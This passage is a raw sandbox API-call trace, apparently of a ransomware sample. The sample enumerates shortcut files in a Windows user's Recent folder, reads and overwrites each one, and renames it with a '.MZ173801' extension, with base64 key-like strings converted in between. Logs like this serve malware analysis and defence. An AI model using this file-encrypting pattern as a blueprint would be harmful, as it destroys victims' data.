lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.372] GetCurrentThreadId () returned 0x9fc [0120.372] GetCurrentThreadId () returned 0x9fc [0120.372] GetCurrentThreadId () returned 0x9fc [0120.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.372] GetCurrentThreadId () returned 0x9fc [0120.372] GetCurrentThreadId () returned 0x9fc [0120.372] GetCurrentThreadId () returned 0x9fc [0120.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-GobGYg.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-gobgyg.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.373] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.373] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.373] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3e1 [0120.373] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.373] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3e1, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3e1, lpOverlapped=0x0) returned 1 [0120.374] CloseHandle (hObject=0x288) returned 1 [0120.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-GobGYg.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-gobgyg.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.375] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3e1, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3e1, lpOverlapped=0x0) returned 1 [0120.376] CloseHandle (hObject=0x288) returned 1 [0120.377] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-GobGYg.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-gobgyg.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-GobGYg.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-gobgyg.flv.lnk.mz173801")) returned 1 [0120.378] GetCurrentThreadId () returned 0x9fc [0120.378] GetCurrentThreadId () returned 0x9fc [0120.378] GetCurrentThreadId () returned 0x9fc [0120.378] GetCurrentThreadId () returned 0x9fc [0120.378] GetCurrentThreadId () returned 0x9fc [0120.378] GetCurrentThreadId () returned 0x9fc [0120.378] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396240, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf396240, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf396240, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0CehppGcHEa.lnk", cAlternateFileName="0CEHPP~1.LNK")) returned 1 [0120.378] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.378] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.378] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0CehppGcHEa.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0cehppgchea.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396240, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf396240, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf396240, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x311)) returned 1 [0120.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.381] GetCurrentThreadId () returned 0x9fc [0120.381] GetCurrentThreadId () returned 0x9fc [0120.381] GetCurrentThreadId () returned 0x9fc [0120.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.381] GetCurrentThreadId () returned 0x9fc [0120.381] GetCurrentThreadId () returned 0x9fc [0120.381] GetCurrentThreadId () returned 0x9fc [0120.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0CehppGcHEa.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0cehppgchea.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.382] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.382] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.382] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x311 [0120.382] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.382] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x311, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x311, lpOverlapped=0x0) returned 1 [0120.388] CloseHandle (hObject=0x288) returned 1 [0120.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0CehppGcHEa.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0cehppgchea.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.390] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x311, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x311, lpOverlapped=0x0) returned 1 [0120.391] CloseHandle (hObject=0x288) returned 1 [0120.393] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0CehppGcHEa.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0cehppgchea.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0CehppGcHEa.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0cehppgchea.lnk.mz173801")) returned 1 [0120.394] GetCurrentThreadId () returned 0x9fc [0120.394] GetCurrentThreadId () returned 0x9fc [0120.394] GetCurrentThreadId () returned 0x9fc [0120.394] GetCurrentThreadId () returned 0x9fc [0120.394] GetCurrentThreadId () returned 0x9fc [0120.394] GetCurrentThreadId () returned 0x9fc [0120.395] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf858e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa6e, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0k5pff8__nmIF0D.lnk", cAlternateFileName="0K5PFF~1.LNK")) returned 1 [0120.395] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.395] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, 